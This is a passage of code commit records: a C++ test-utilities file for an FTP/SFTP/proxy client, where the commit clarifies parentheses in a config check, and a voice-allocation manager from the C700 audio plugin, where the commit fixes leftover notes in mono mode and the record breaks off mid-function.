sqrt(a1 * a1 + a2 * a2);\n double p1c = sqrt(b1 * b1 + b2 * b2);\n double p0p1 = sqrt(c1 * c1 + c2 * c2);\n double angle_rad = acos(\n (p1c * p1c + p0c * p0c - p0p1 * p0p1) \/\n (2 * p1c * p0c)\n );\n\n return angle_rad * 180 \/ M_PI;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"test_utils.h\"\n\n\/\/ Test configuration constants (to be loaded from an INI file)\nbool FTP_TEST_ENABLED;\nbool SFTP_TEST_ENABLED;\nbool HTTP_PROXY_TEST_ENABLED;\n\nstd::string CURL_LOG_FOLDER;\n\nstd::string SSL_CERT_FILE;\nstd::string SSL_KEY_FILE;\nstd::string SSL_KEY_PWD;\n\nstd::string FTP_SERVER;\nunsigned FTP_SERVER_PORT;\nstd::string FTP_USERNAME;\nstd::string FTP_PASSWORD;\nstd::string FTP_REMOTE_FILE;\nstd::string FTP_REMOTE_UPLOAD_FOLDER;\nstd::string FTP_REMOTE_DOWNLOAD_FOLDER;\n\nstd::string SFTP_SERVER;\nunsigned SFTP_SERVER_PORT;\nstd::string SFTP_USERNAME;\nstd::string SFTP_PASSWORD;\nstd::string SFTP_REMOTE_FILE;\nstd::string SFTP_REMOTE_UPLOAD_FOLDER;\nstd::string SFTP_REMOTE_DOWNLOAD_FOLDER;\n\nstd::string PROXY_SERVER;\nstd::string PROXY_SERVER_FAKE;\n\nstd::mutex g_mtxConsoleMutex;\n\nbool GlobalTestInit(const std::string& strConfFile)\n{\n CSimpleIniA ini;\n ini.LoadFile(strConfFile.c_str());\n\n std::string strTmp;\n strTmp = ini.GetValue(\"tests\", \"ftp\", \"\");\n std::transform(strTmp.begin(), strTmp.end(), strTmp.begin(), ::toupper);\n FTP_TEST_ENABLED = (strTmp == \"YES\") ? true : false;\n \n strTmp = ini.GetValue(\"tests\", \"sftp\", \"\");\n std::transform(strTmp.begin(), strTmp.end(), strTmp.begin(), ::toupper);\n SFTP_TEST_ENABLED = (strTmp == \"YES\") ? true : false;\n \n strTmp = ini.GetValue(\"tests\", \"http-proxy\", \"\");\n std::transform(strTmp.begin(), strTmp.end(), strTmp.begin(), ::toupper);\n HTTP_PROXY_TEST_ENABLED = (strTmp == \"YES\") ? true : false;\n\n \/\/ required when a build is generated with the macro DEBUG_CURL\n CURL_LOG_FOLDER = ini.GetValue(\"local\", \"curl_logs_folder\", \"\");\n\n SSL_CERT_FILE = ini.GetValue(\"local\", \"ssl_cert_file\", \"\");\n SSL_KEY_FILE = ini.GetValue(\"local\", \"ssl_key_file\", \"\");\n SSL_KEY_PWD = ini.GetValue(\"local\", \"ssl_key_pwd\", \"\");\n\n PROXY_SERVER = ini.GetValue(\"http-proxy\", \"host\", \"\");\n PROXY_SERVER_FAKE = ini.GetValue(\"http-proxy\", \"host_invalid\", \"\");\n\n FTP_SERVER = ini.GetValue(\"ftp\", \"host\", \"\");\n FTP_SERVER_PORT = atoi(ini.GetValue(\"ftp\", \"port\", \"0\"));\n FTP_USERNAME = ini.GetValue(\"ftp\", \"username\", \"\");\n FTP_PASSWORD = ini.GetValue(\"ftp\", \"password\", \"\");\n FTP_REMOTE_FILE = ini.GetValue(\"ftp\", \"remote_file\", \"\");\n FTP_REMOTE_UPLOAD_FOLDER = ini.GetValue(\"ftp\", \"remote_upload_folder\", \"\");\n FTP_REMOTE_DOWNLOAD_FOLDER = ini.GetValue(\"ftp\", \"remote_download_folder\", \"\");\n\n SFTP_SERVER = ini.GetValue(\"sftp\", \"host\", \"\");\n SFTP_SERVER_PORT = atoi(ini.GetValue(\"sftp\", \"port\", \"0\"));\n SFTP_USERNAME = ini.GetValue(\"sftp\", \"username\", \"\");\n SFTP_PASSWORD = ini.GetValue(\"sftp\", \"password\", \"\");\n SFTP_REMOTE_FILE = ini.GetValue(\"sftp\", \"remote_file\", \"\");\n SFTP_REMOTE_UPLOAD_FOLDER = ini.GetValue(\"sftp\", \"remote_upload_folder\", \"\");\n SFTP_REMOTE_DOWNLOAD_FOLDER = ini.GetValue(\"sftp\", \"remote_download_folder\", \"\");\n\n if (!FTP_REMOTE_UPLOAD_FOLDER.empty() &&\n FTP_REMOTE_UPLOAD_FOLDER.at(FTP_REMOTE_UPLOAD_FOLDER.length() - 1) != '\/')\n {\n FTP_REMOTE_UPLOAD_FOLDER += '\/';\n }\n \n if (!FTP_REMOTE_DOWNLOAD_FOLDER.empty())\n {\n if (FTP_REMOTE_DOWNLOAD_FOLDER.at(FTP_REMOTE_DOWNLOAD_FOLDER.length() - 1) != '\/')\n FTP_REMOTE_DOWNLOAD_FOLDER += \"\/*\";\n else\n FTP_REMOTE_DOWNLOAD_FOLDER += \"*\";\n }\n\n if (!SFTP_REMOTE_UPLOAD_FOLDER.empty() &&\n SFTP_REMOTE_UPLOAD_FOLDER.at(SFTP_REMOTE_UPLOAD_FOLDER.length() - 1) != '\/')\n {\n SFTP_REMOTE_UPLOAD_FOLDER += '\/';\n }\n\n if (!SFTP_REMOTE_DOWNLOAD_FOLDER.empty())\n {\n if (SFTP_REMOTE_DOWNLOAD_FOLDER.at(SFTP_REMOTE_DOWNLOAD_FOLDER.length() - 1) != '\/')\n SFTP_REMOTE_DOWNLOAD_FOLDER += \"\/*\";\n else\n SFTP_REMOTE_DOWNLOAD_FOLDER += \"*\";\n }\n \n if (FTP_TEST_ENABLED && (FTP_SERVER.empty() || FTP_SERVER_PORT == 0)\n || SFTP_TEST_ENABLED && (SFTP_SERVER.empty() || SFTP_SERVER_PORT == 0)\n || HTTP_PROXY_TEST_ENABLED && (PROXY_SERVER.empty() || PROXY_SERVER_FAKE.empty())\n )\n {\n std::clog << \"[ERROR] Check your INI file parameters.\"\n \" Disable tests that don't have a server\/port value.\"\n << std::endl;\n return false;\n }\n\n return true;\n}\n\nvoid GlobalTestCleanUp(void)\n{\n\n return;\n}\n\nvoid TimeStampTest(std::ostringstream& ssTimestamp)\n{\n time_t tRawTime;\n tm * tmTimeInfo;\n time(&tRawTime);\n tmTimeInfo = localtime(&tRawTime);\n\n ssTimestamp << (tmTimeInfo->tm_year) + 1900\n << \"\/\" << tmTimeInfo->tm_mon + 1 << \"\/\" << tmTimeInfo->tm_mday << \" at \"\n << tmTimeInfo->tm_hour << \":\" << tmTimeInfo->tm_min << \":\" << tmTimeInfo->tm_sec;\n}\n\n\/\/ for uplaod prog. callback, just use DL one and inverse download parameters with upload ones...\nint TestUPProgressCallback(void* ptr, double dTotalToDownload, double dNowDownloaded, double dTotalToUpload, double dNowUploaded)\n{\n return TestDLProgressCallback(ptr, dTotalToUpload, dNowUploaded, dTotalToDownload, dNowDownloaded);\n}\nint TestDLProgressCallback(void* ptr, double dTotalToDownload, double dNowDownloaded, double dTotalToUpload, double dNowUploaded)\n{\n \/\/ ensure that the file to be downloaded is not empty\n \/\/ because that would cause a division by zero error later on\n if (dTotalToDownload <= 0.0)\n return 0;\n\n \/\/ how wide you want the progress meter to be\n const int iTotalDots = 20;\n double dFractionDownloaded = dNowDownloaded \/ dTotalToDownload;\n \/\/ part of the progressmeter that's already \"full\"\n int iDots = static_cast<int>(round(dFractionDownloaded * iTotalDots));\n\n \/\/ create the \"meter\"\n int iDot = 0;\n std::cout << static_cast<unsigned>(dFractionDownloaded * 100) << \"% [\";\n\n \/\/ part that's full already\n for (; iDot < iDots; iDot++)\n std::cout << \"=\";\n\n \/\/ remaining part (spaces)\n for (; iDot < iTotalDots; iDot++)\n std::cout << \" \";\n\n \/\/ and back to line begin - do not forget the fflush to avoid output buffering problems!\n std::cout << \"] \\r\" << std::flush;\n\n \/\/ if you don't return 0, the transfer will be aborted - see the documentation\n return 0;\n}\n\nlong GetGMTOffset()\n{\n time_t now = time(nullptr);\n\n struct tm gm = *gmtime(&now);\n time_t gmt = mktime(&gm);\n\n struct tm loc = *localtime(&now);\n time_t local = mktime(&loc);\n\n return static_cast<long>(difftime(local, gmt));\n}\n\nbool GetFileTime(const char* const & pszFilePath, time_t& tLastModificationTime)\n{\n FILE* pFile = fopen(pszFilePath, \"rb\");\n\n if (pFile != nullptr)\n {\n struct stat file_info;\n\n#ifndef LINUX\n if (fstat(_fileno(pFile), &file_info) == 0)\n#else\n if (fstat(fileno(pFile), &file_info) == 0)\n#endif\n {\n tLastModificationTime = file_info.st_mtime;\n return true;\n }\n }\n\n return false;\n}\n<commit_msg>Make paranthesis clearer<commit_after>#include \"test_utils.h\"\n\n\/\/ Test configuration constants (to be loaded from an INI file)\nbool FTP_TEST_ENABLED;\nbool SFTP_TEST_ENABLED;\nbool HTTP_PROXY_TEST_ENABLED;\n\nstd::string CURL_LOG_FOLDER;\n\nstd::string SSL_CERT_FILE;\nstd::string SSL_KEY_FILE;\nstd::string SSL_KEY_PWD;\n\nstd::string FTP_SERVER;\nunsigned FTP_SERVER_PORT;\nstd::string FTP_USERNAME;\nstd::string FTP_PASSWORD;\nstd::string FTP_REMOTE_FILE;\nstd::string FTP_REMOTE_UPLOAD_FOLDER;\nstd::string FTP_REMOTE_DOWNLOAD_FOLDER;\n\nstd::string SFTP_SERVER;\nunsigned SFTP_SERVER_PORT;\nstd::string SFTP_USERNAME;\nstd::string SFTP_PASSWORD;\nstd::string SFTP_REMOTE_FILE;\nstd::string SFTP_REMOTE_UPLOAD_FOLDER;\nstd::string SFTP_REMOTE_DOWNLOAD_FOLDER;\n\nstd::string PROXY_SERVER;\nstd::string PROXY_SERVER_FAKE;\n\nstd::mutex g_mtxConsoleMutex;\n\nbool GlobalTestInit(const std::string& strConfFile)\n{\n CSimpleIniA ini;\n ini.LoadFile(strConfFile.c_str());\n\n std::string strTmp;\n strTmp = ini.GetValue(\"tests\", \"ftp\", \"\");\n std::transform(strTmp.begin(), strTmp.end(), strTmp.begin(), ::toupper);\n FTP_TEST_ENABLED = (strTmp == \"YES\") ? true : false;\n \n strTmp = ini.GetValue(\"tests\", \"sftp\", \"\");\n std::transform(strTmp.begin(), strTmp.end(), strTmp.begin(), ::toupper);\n SFTP_TEST_ENABLED = (strTmp == \"YES\") ? true : false;\n \n strTmp = ini.GetValue(\"tests\", \"http-proxy\", \"\");\n std::transform(strTmp.begin(), strTmp.end(), strTmp.begin(), ::toupper);\n HTTP_PROXY_TEST_ENABLED = (strTmp == \"YES\") ? true : false;\n\n \/\/ required when a build is generated with the macro DEBUG_CURL\n CURL_LOG_FOLDER = ini.GetValue(\"local\", \"curl_logs_folder\", \"\");\n\n SSL_CERT_FILE = ini.GetValue(\"local\", \"ssl_cert_file\", \"\");\n SSL_KEY_FILE = ini.GetValue(\"local\", \"ssl_key_file\", \"\");\n SSL_KEY_PWD = ini.GetValue(\"local\", \"ssl_key_pwd\", \"\");\n\n PROXY_SERVER = ini.GetValue(\"http-proxy\", \"host\", \"\");\n PROXY_SERVER_FAKE = ini.GetValue(\"http-proxy\", \"host_invalid\", \"\");\n\n FTP_SERVER = ini.GetValue(\"ftp\", \"host\", \"\");\n FTP_SERVER_PORT = atoi(ini.GetValue(\"ftp\", \"port\", \"0\"));\n FTP_USERNAME = ini.GetValue(\"ftp\", \"username\", \"\");\n FTP_PASSWORD = ini.GetValue(\"ftp\", \"password\", \"\");\n FTP_REMOTE_FILE = ini.GetValue(\"ftp\", \"remote_file\", \"\");\n FTP_REMOTE_UPLOAD_FOLDER = ini.GetValue(\"ftp\", \"remote_upload_folder\", \"\");\n FTP_REMOTE_DOWNLOAD_FOLDER = ini.GetValue(\"ftp\", \"remote_download_folder\", \"\");\n\n SFTP_SERVER = ini.GetValue(\"sftp\", \"host\", \"\");\n SFTP_SERVER_PORT = atoi(ini.GetValue(\"sftp\", \"port\", \"0\"));\n SFTP_USERNAME = ini.GetValue(\"sftp\", \"username\", \"\");\n SFTP_PASSWORD = ini.GetValue(\"sftp\", \"password\", \"\");\n SFTP_REMOTE_FILE = ini.GetValue(\"sftp\", \"remote_file\", \"\");\n SFTP_REMOTE_UPLOAD_FOLDER = ini.GetValue(\"sftp\", \"remote_upload_folder\", \"\");\n SFTP_REMOTE_DOWNLOAD_FOLDER = ini.GetValue(\"sftp\", \"remote_download_folder\", \"\");\n\n if (!FTP_REMOTE_UPLOAD_FOLDER.empty() &&\n FTP_REMOTE_UPLOAD_FOLDER.at(FTP_REMOTE_UPLOAD_FOLDER.length() - 1) != '\/')\n {\n FTP_REMOTE_UPLOAD_FOLDER += '\/';\n }\n \n if (!FTP_REMOTE_DOWNLOAD_FOLDER.empty())\n {\n if (FTP_REMOTE_DOWNLOAD_FOLDER.at(FTP_REMOTE_DOWNLOAD_FOLDER.length() - 1) != '\/')\n FTP_REMOTE_DOWNLOAD_FOLDER += \"\/*\";\n else\n FTP_REMOTE_DOWNLOAD_FOLDER += \"*\";\n }\n\n if (!SFTP_REMOTE_UPLOAD_FOLDER.empty() &&\n SFTP_REMOTE_UPLOAD_FOLDER.at(SFTP_REMOTE_UPLOAD_FOLDER.length() - 1) != '\/')\n {\n SFTP_REMOTE_UPLOAD_FOLDER += '\/';\n }\n\n if (!SFTP_REMOTE_DOWNLOAD_FOLDER.empty())\n {\n if (SFTP_REMOTE_DOWNLOAD_FOLDER.at(SFTP_REMOTE_DOWNLOAD_FOLDER.length() - 1) != '\/')\n SFTP_REMOTE_DOWNLOAD_FOLDER += \"\/*\";\n else\n SFTP_REMOTE_DOWNLOAD_FOLDER += \"*\";\n }\n \n if ((FTP_TEST_ENABLED && (FTP_SERVER.empty() || FTP_SERVER_PORT == 0))\n || (SFTP_TEST_ENABLED && (SFTP_SERVER.empty() || SFTP_SERVER_PORT == 0))\n || (HTTP_PROXY_TEST_ENABLED && (PROXY_SERVER.empty() || PROXY_SERVER_FAKE.empty()))\n )\n {\n std::clog << \"[ERROR] Check your INI file parameters.\"\n \" Disable tests that don't have a server\/port value.\"\n << std::endl;\n return false;\n }\n\n return true;\n}\n\nvoid GlobalTestCleanUp(void)\n{\n\n return;\n}\n\nvoid TimeStampTest(std::ostringstream& ssTimestamp)\n{\n time_t tRawTime;\n tm * tmTimeInfo;\n time(&tRawTime);\n tmTimeInfo = localtime(&tRawTime);\n\n ssTimestamp << (tmTimeInfo->tm_year) + 1900\n << \"\/\" << tmTimeInfo->tm_mon + 1 << \"\/\" << tmTimeInfo->tm_mday << \" at \"\n << tmTimeInfo->tm_hour << \":\" << tmTimeInfo->tm_min << \":\" << tmTimeInfo->tm_sec;\n}\n\n\/\/ for uplaod prog. callback, just use DL one and inverse download parameters with upload ones...\nint TestUPProgressCallback(void* ptr, double dTotalToDownload, double dNowDownloaded, double dTotalToUpload, double dNowUploaded)\n{\n return TestDLProgressCallback(ptr, dTotalToUpload, dNowUploaded, dTotalToDownload, dNowDownloaded);\n}\nint TestDLProgressCallback(void* ptr, double dTotalToDownload, double dNowDownloaded, double dTotalToUpload, double dNowUploaded)\n{\n \/\/ ensure that the file to be downloaded is not empty\n \/\/ because that would cause a division by zero error later on\n if (dTotalToDownload <= 0.0)\n return 0;\n\n \/\/ how wide you want the progress meter to be\n const int iTotalDots = 20;\n double dFractionDownloaded = dNowDownloaded \/ dTotalToDownload;\n \/\/ part of the progressmeter that's already \"full\"\n int iDots = static_cast<int>(round(dFractionDownloaded * iTotalDots));\n\n \/\/ create the \"meter\"\n int iDot = 0;\n std::cout << static_cast<unsigned>(dFractionDownloaded * 100) << \"% [\";\n\n \/\/ part that's full already\n for (; iDot < iDots; iDot++)\n std::cout << \"=\";\n\n \/\/ remaining part (spaces)\n for (; iDot < iTotalDots; iDot++)\n std::cout << \" \";\n\n \/\/ and back to line begin - do not forget the fflush to avoid output buffering problems!\n std::cout << \"] \\r\" << std::flush;\n\n \/\/ if you don't return 0, the transfer will be aborted - see the documentation\n return 0;\n}\n\nlong GetGMTOffset()\n{\n time_t now = time(nullptr);\n\n struct tm gm = *gmtime(&now);\n time_t gmt = mktime(&gm);\n\n struct tm loc = *localtime(&now);\n time_t local = mktime(&loc);\n\n return static_cast<long>(difftime(local, gmt));\n}\n\nbool GetFileTime(const char* const & pszFilePath, time_t& tLastModificationTime)\n{\n FILE* pFile = fopen(pszFilePath, \"rb\");\n\n if (pFile != nullptr)\n {\n struct stat file_info;\n\n#ifndef LINUX\n if (fstat(_fileno(pFile), &file_info) == 0)\n#else\n if (fstat(fileno(pFile), &file_info) == 0)\n#endif\n {\n tLastModificationTime = file_info.st_mtime;\n return true;\n }\n }\n\n return false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ DynamicVoiceManager.cpp\n\/\/ C700\n\/\/\n\/\/ Created by osoumen on 2014\/11\/30.\n\/\/\n\/\/\n\n#include \"DynamicVoiceManager.h\"\n\n\/\/-----------------------------------------------------------------------------\nDynamicVoiceManager::DynamicVoiceManager() :\nmVoiceLimit(8)\n{\n \n}\n\n\/\/-----------------------------------------------------------------------------\nDynamicVoiceManager::~DynamicVoiceManager()\n{\n \n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::Initialize(int voiceLimit)\n{\n mVoiceLimit = voiceLimit;\n for (int i=0; i<16; i++) {\n mChNoteOns[i] = 0;\n mChLimit[i] = 127;\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::Reset()\n{\n mPlayVo.clear();\n\tmWaitVo.clear();\n for(int i=0;i<mVoiceLimit;i++){\n pushWaitVo(i);\n\t}\n for (int i=0; i<MAX_VOICE; i++) {\n mVoCh[i] = 0;\n mVoPrio[i] = 64;\n mVoUniqueID[i] = 0;\n mVoKeyOn[i] = false;\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::ChangeVoiceLimit(int voiceLimit)\n{\n if ( voiceLimit < mVoiceLimit ) {\n\t\t\/\/空きボイスリストから削除する\n\t\tfor ( int i=voiceLimit; i<mVoiceLimit; i++ ) {\n\t\t\tmWaitVo.remove(i);\n\t\t}\n\t}\n\tif ( voiceLimit > mVoiceLimit ) {\n\t\t\/\/空きボイスを追加する\n\t\tfor ( int i=mVoiceLimit; i<voiceLimit; i++ ) {\n\t\t\tpushWaitVo(i);\n\t\t}\n\t}\n\tmVoiceLimit = voiceLimit;\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::AllocVoice(int prio, int ch, int uniqueID, bool monoMode,\n int *releasedCh, bool *isLegato)\n{\n int v = -1;\n *releasedCh = -1;\n *isLegato = false;\n \n if (monoMode) {\n v = ch & 0x07; \/\/ 固定のchを確保\n if (IsPlayingVoice(v)) {\n if (mVoCh[v] == ch) {\n \/\/ レガートで鳴らした音\n \/\/ キーオン前に2回叩かれた場合は最後のノートオンだけが有効になるように\n if (mVoKeyOn[v]) {\n *isLegato = true;\n }\n }\n else {\n \/\/ 別のchの発音がすでにある場合\n mPlayVo.remove(v);\n *releasedCh = mVoCh[v];\n mChNoteOns[mVoCh[v]]--;\n }\n }\n else {\n mWaitVo.remove(v);\n }\n }\n else {\n if (mChNoteOns[ch] >= mChLimit[ch]) {\n \/\/ ch発音数を超えてたら、そのchの音を一つ止めて次の音を鳴らす\n v = StealVoice(ch);\n if (v != -1) {\n mPlayVo.remove(v);\n *releasedCh = mVoCh[v];\n mChNoteOns[mVoCh[v]]--;\n }\n }\n else {\n \/\/ 超えてない場合は、後着優先で優先度の低い音を消す\n v = FindVoice();\n if (v >= MAX_VOICE) { \/\/空きがなくてどこかを止めた\n v -= MAX_VOICE;\n mPlayVo.remove(v);\n *releasedCh = mVoCh[v];\n mChNoteOns[mVoCh[v]]--;\n }\n else if (v >= 0) {\n mWaitVo.remove(v);\n }\n }\n }\n \n if (v != -1) {\n mVoCh[v] = ch;\n mVoPrio[v] = prio;\n mVoKeyOn[v] = false;\n mVoUniqueID[v] = uniqueID;\n if (*isLegato == false) {\n mPlayVo.push_back(v);\n mChNoteOns[ch]++;\n }\n }\n return v;\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::ReleaseVoice(int relPrio, int ch, int uniqueID, int *relVo)\n{\n int stops = 0;\n std::list<int>::iterator\tit = mPlayVo.begin();\n while (it != mPlayVo.end()) {\n int\tvo = *it;\n \n if ( mVoUniqueID[vo] == uniqueID ) {\n if (mVoKeyOn[vo]) {\n mVoUniqueID[vo] = 0;\n mVoPrio[vo] = relPrio;\n mVoKeyOn[vo] = false;\n }\n if ( vo < mVoiceLimit ) {\n mWaitVo.push_back(vo);\n }\n it = mPlayVo.erase(it);\n stops++;\n mChNoteOns[ch]--;\n *relVo = vo;\n break; \/\/ 2重鳴りはホストに任せる\n \/\/continue;\n }\n it++;\n }\n \n\treturn stops;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::SetChLimit(int ch, int value)\n{\n mChLimit[ch & 0xf] = value;\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::GetChLimit(int ch)\n{\n return mChLimit[ch & 0xf];\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::GetNoteOns(int ch)\n{\n return mChNoteOns[ch & 0xf];\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::SetKeyOn(int vo)\n{\n \/\/ TODO: voがAlloc済みかどうかチェック\n mVoKeyOn[vo] = true;\n}\n\n\/\/-----------------------------------------------------------------------------\nbool DynamicVoiceManager::IsKeyOn(int vo)\n{\n return mVoKeyOn[vo];\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::pushWaitVo(int vo)\n{\n mWaitVo.push_back(vo);\n mVoCh[vo] = 0;\n mVoPrio[vo] = 0;\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::FindFreeVoice()\n{\n\tint\tv=-1;\n \n\t\/\/空きボイスを探す\n if ( mWaitVo.size() > 0 ) {\n\t\tv = mWaitVo.front();\n\t\tmWaitVo.pop_front();\n\t}\n return v;\n}\n\n\/\/-----------------------------------------------------------------------------\nbool DynamicVoiceManager::IsPlayingVoice(int v)\n{\n std::list<int>::iterator\tit = mPlayVo.begin();\n while (it != mPlayVo.end()) {\n int\tvo = *it;\n if (vo == v) {\n return true;\n }\n it++;\n }\n return false;\n}\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::StealVoice(int ch)\n{\n int v=-1;\n int prio_min = 0x7fff;\n \n std::list<int>::reverse_iterator it = mPlayVo.rbegin();\n while (it != mPlayVo.rend()) {\n int vo = *it;\n if ( (mVoPrio[vo] <= prio_min) && (mVoCh[vo] == ch) ) {\n prio_min = mVoPrio[vo];\n v = vo;\n }\n it++;\n }\n \n return v;\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::FindVoice(int ch)\n{\n int v=-1;\n int prio_min = 0x7fff;\n \n std::list<int>::reverse_iterator it = mPlayVo.rbegin();\n while (it != mPlayVo.rend()) {\n int vo = *it;\n bool chMatch = (mVoCh[vo] == ch) ? true:false;\n if (ch == -1) {\n chMatch = true;\n }\n if ( (mVoPrio[vo] <= prio_min) && chMatch ) {\n prio_min = mVoPrio[vo];\n v = vo + MAX_VOICE;\n }\n it++;\n }\n it = mWaitVo.rbegin();\n while (it != mWaitVo.rend()) {\n int vo = *it;\n if (mVoPrio[vo] <= prio_min) {\n prio_min = mVoPrio[vo];\n v = vo;\n }\n it++;\n }\n \n return v;\n}\n<commit_msg>モノモード時に同時に2音以上鳴らした場合にノートが残る場合を修正<commit_after>\/\/\n\/\/ DynamicVoiceManager.cpp\n\/\/ C700\n\/\/\n\/\/ Created by osoumen on 2014\/11\/30.\n\/\/\n\/\/\n\n#include \"DynamicVoiceManager.h\"\n\n\/\/-----------------------------------------------------------------------------\nDynamicVoiceManager::DynamicVoiceManager() :\nmVoiceLimit(8)\n{\n \n}\n\n\/\/-----------------------------------------------------------------------------\nDynamicVoiceManager::~DynamicVoiceManager()\n{\n \n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::Initialize(int voiceLimit)\n{\n mVoiceLimit = voiceLimit;\n for (int i=0; i<16; i++) {\n mChNoteOns[i] = 0;\n mChLimit[i] = 127;\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::Reset()\n{\n mPlayVo.clear();\n\tmWaitVo.clear();\n for(int i=0;i<mVoiceLimit;i++){\n pushWaitVo(i);\n\t}\n for (int i=0; i<MAX_VOICE; i++) {\n mVoCh[i] = 0;\n mVoPrio[i] = 64;\n mVoUniqueID[i] = 0;\n mVoKeyOn[i] = false;\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::ChangeVoiceLimit(int voiceLimit)\n{\n if ( voiceLimit < mVoiceLimit ) {\n\t\t\/\/空きボイスリストから削除する\n\t\tfor ( int i=voiceLimit; i<mVoiceLimit; i++ ) {\n\t\t\tmWaitVo.remove(i);\n\t\t}\n\t}\n\tif ( voiceLimit > mVoiceLimit ) {\n\t\t\/\/空きボイスを追加する\n\t\tfor ( int i=mVoiceLimit; i<voiceLimit; i++ ) {\n\t\t\tpushWaitVo(i);\n\t\t}\n\t}\n\tmVoiceLimit = voiceLimit;\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::AllocVoice(int prio, int ch, int uniqueID, bool monoMode,\n int *releasedCh, bool *isLegato)\n{\n int v = -1;\n *releasedCh = -1;\n *isLegato = false;\n \n if (monoMode) {\n v = ch & 0x07; \/\/ 固定のchを確保\n if (IsPlayingVoice(v)) {\n if (mVoCh[v] == ch) {\n \/\/ レガートで鳴らした音\n \/\/ キーオン前に2回叩かれた場合は最後のノートオンだけが有効になるように\n if (mVoKeyOn[v]) {\n *isLegato = true;\n }\n }\n else {\n \/\/ 別のchの発音がすでにある場合\n mPlayVo.remove(v);\n *releasedCh = mVoCh[v];\n mChNoteOns[mVoCh[v]]--;\n }\n }\n else {\n mWaitVo.remove(v);\n }\n }\n else {\n if (mChNoteOns[ch] >= mChLimit[ch]) {\n \/\/ ch発音数を超えてたら、そのchの音を一つ止めて次の音を鳴らす\n v = StealVoice(ch);\n if (v != -1) {\n mPlayVo.remove(v);\n *releasedCh = mVoCh[v];\n mChNoteOns[mVoCh[v]]--;\n }\n }\n else {\n \/\/ 超えてない場合は、後着優先で優先度の低い音を消す\n v = FindVoice();\n if (v >= MAX_VOICE) { \/\/空きがなくてどこかを止めた\n v -= MAX_VOICE;\n mPlayVo.remove(v);\n *releasedCh = mVoCh[v];\n mChNoteOns[mVoCh[v]]--;\n }\n else if (v >= 0) {\n mWaitVo.remove(v);\n }\n }\n }\n \n if (v != -1) {\n mVoCh[v] = ch;\n mVoPrio[v] = prio;\n mVoKeyOn[v] = false;\n mVoUniqueID[v] = uniqueID;\n if (*isLegato == false && !IsPlayingVoice(v)) { \/\/ モノモードの同時ノートオン対策\n mPlayVo.push_back(v);\n mChNoteOns[ch]++;\n }\n }\n return v;\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::ReleaseVoice(int relPrio, int ch, int uniqueID, int *relVo)\n{\n int stops = 0;\n std::list<int>::iterator\tit = mPlayVo.begin();\n while (it != mPlayVo.end()) {\n int\tvo = *it;\n \n if ( mVoUniqueID[vo] == uniqueID ) {\n if (mVoKeyOn[vo]) {\n mVoUniqueID[vo] = 0;\n mVoPrio[vo] = relPrio;\n mVoKeyOn[vo] = false;\n }\n if ( vo < mVoiceLimit ) {\n mWaitVo.push_back(vo);\n }\n it = mPlayVo.erase(it);\n stops++;\n mChNoteOns[ch]--;\n *relVo = vo;\n break; \/\/ 2重鳴りはホストに任せる\n \/\/continue;\n }\n it++;\n }\n \n\treturn stops;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::SetChLimit(int ch, int value)\n{\n mChLimit[ch & 0xf] = value;\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::GetChLimit(int ch)\n{\n return mChLimit[ch & 0xf];\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::GetNoteOns(int ch)\n{\n return mChNoteOns[ch & 0xf];\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::SetKeyOn(int vo)\n{\n \/\/ TODO: voがAlloc済みかどうかチェック\n mVoKeyOn[vo] = true;\n}\n\n\/\/-----------------------------------------------------------------------------\nbool DynamicVoiceManager::IsKeyOn(int vo)\n{\n return mVoKeyOn[vo];\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid DynamicVoiceManager::pushWaitVo(int vo)\n{\n mWaitVo.push_back(vo);\n mVoCh[vo] = 0;\n mVoPrio[vo] = 0;\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::FindFreeVoice()\n{\n\tint\tv=-1;\n \n\t\/\/空きボイスを探す\n if ( mWaitVo.size() > 0 ) {\n\t\tv = mWaitVo.front();\n\t\tmWaitVo.pop_front();\n\t}\n return v;\n}\n\n\/\/-----------------------------------------------------------------------------\nbool DynamicVoiceManager::IsPlayingVoice(int v)\n{\n std::list<int>::iterator\tit = mPlayVo.begin();\n while (it != mPlayVo.end()) {\n int\tvo = *it;\n if (vo == v) {\n return true;\n }\n it++;\n }\n return false;\n}\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::StealVoice(int ch)\n{\n int v=-1;\n int prio_min = 0x7fff;\n \n std::list<int>::reverse_iterator it = mPlayVo.rbegin();\n while (it != mPlayVo.rend()) {\n int vo = *it;\n if ( (mVoPrio[vo] <= prio_min) && (mVoCh[vo] == ch) ) {\n prio_min = mVoPrio[vo];\n v = vo;\n }\n it++;\n }\n \n return v;\n}\n\n\/\/-----------------------------------------------------------------------------\nint DynamicVoiceManager::FindVoice(int ch)\n{\n int v=-1;\n int prio_min = 0x7fff;\n \n std::list<int>::reverse_iterator it = mPlayVo.rbegin();\n while (it != 